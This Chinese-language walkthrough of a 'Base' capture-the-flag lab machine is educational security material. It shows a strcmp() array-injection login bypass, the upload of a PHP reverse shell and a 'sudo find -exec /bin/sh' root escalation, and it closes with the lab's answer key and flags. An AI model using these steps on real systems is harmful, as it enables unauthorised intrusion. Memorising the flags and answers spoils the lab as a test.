前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Base靶场,起点内容到此完结
渗透过程
信息搜集
- 服务器开放了22SSH服务 和 80HTTP服务
目录爆破
- 通过目录扫描出/login 和/asserts文件夹
- 发现/login 拥有目录遍历漏洞
- login.php.swp 是使用vim文件崩溃产生的缓存文件
vim -r login.php.swp
- “vim -r” 是用于恢复上次意外崩溃时正在编辑的文件
<?php
session_start();
// 判断用户名密码不为空
if (!empty($_POST['username']) && !empty($_POST['password'])) {
// 引用 config.php 配置文件
require('config.php');
// 比较两个参数是否相等 相等返回 0
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
// 设置 user_id = 1
$_SESSION['user_id'] = 1;
// 跳转到上传页面
header("Location: /upload.php");
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
}
?>
...
绕过strcmp()函数 登录后台
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
- strcmp()函数 会对比字符串内容,如果一致返回 0,不一致返回 1
- 传入数组的话,就会返回0,和正确校验一致,从而绕过
username[]=admin&password[]=123
- 成功进入后台
上传shell文件 反弹会话
- 准备shell文件
- 文件地址:/usr/share/webshells/php/php-reverse-shell.php
- 上传shell文件
- 使用大字典 查找文件存储目录
- 访问shell文件,反弹会话
- 巩固会话
suid权限提升
- 翻阅网站配置文件,得到账号:admin 密码:thisisagoodpassword
- 翻阅home目录文件,发现用户不存在admin,尝试拿密码跑一下
- 成功登录
- 该用户拥有root权限执行find命令
- 利用https://gtfobins.github.io/ 网站提供的shell命令,提权
- sudo find . -exec /bin/sh ; -quit
- user flag:f54846c258f3b4612f78a819573d158e
- root flag:51709519ea18ab37dd6fc58096bea949
答案
- 1.服务器开放了哪两个TCP端口?
22,80
- 2.登录页面在web中的相对路径是什么?
/login/login.php
- 3./login目录中有多少个文件?
3
- 4.缓存文件的拓展名是什么?
.swp
- 5.后端使用了什么函数来校验账户和密码是否正确?
strcmp()
- 6.上传的文件存储在哪个目录下?
_uploaded
- 7.服务器上存在哪个用户?
john
- 8.该用户密码是什么?
thisisagoodpassword
- 9.john可以在该服务器执行root权限的命令 绝对路径是什么?
/usr/bin/find
- 10.find可以使用什么参数来执行命令?
exec
- 11.user的flag是什么?
f54846c258f3b4612f78a819573d158e
- 12.root的flag是什么?
51709519ea18ab37dd6fc58096bea949
总结
- 我们介绍了 strcmp函数的绕过方式,反弹会话,sudo -l提权,之后会更新 初学者路径的靶机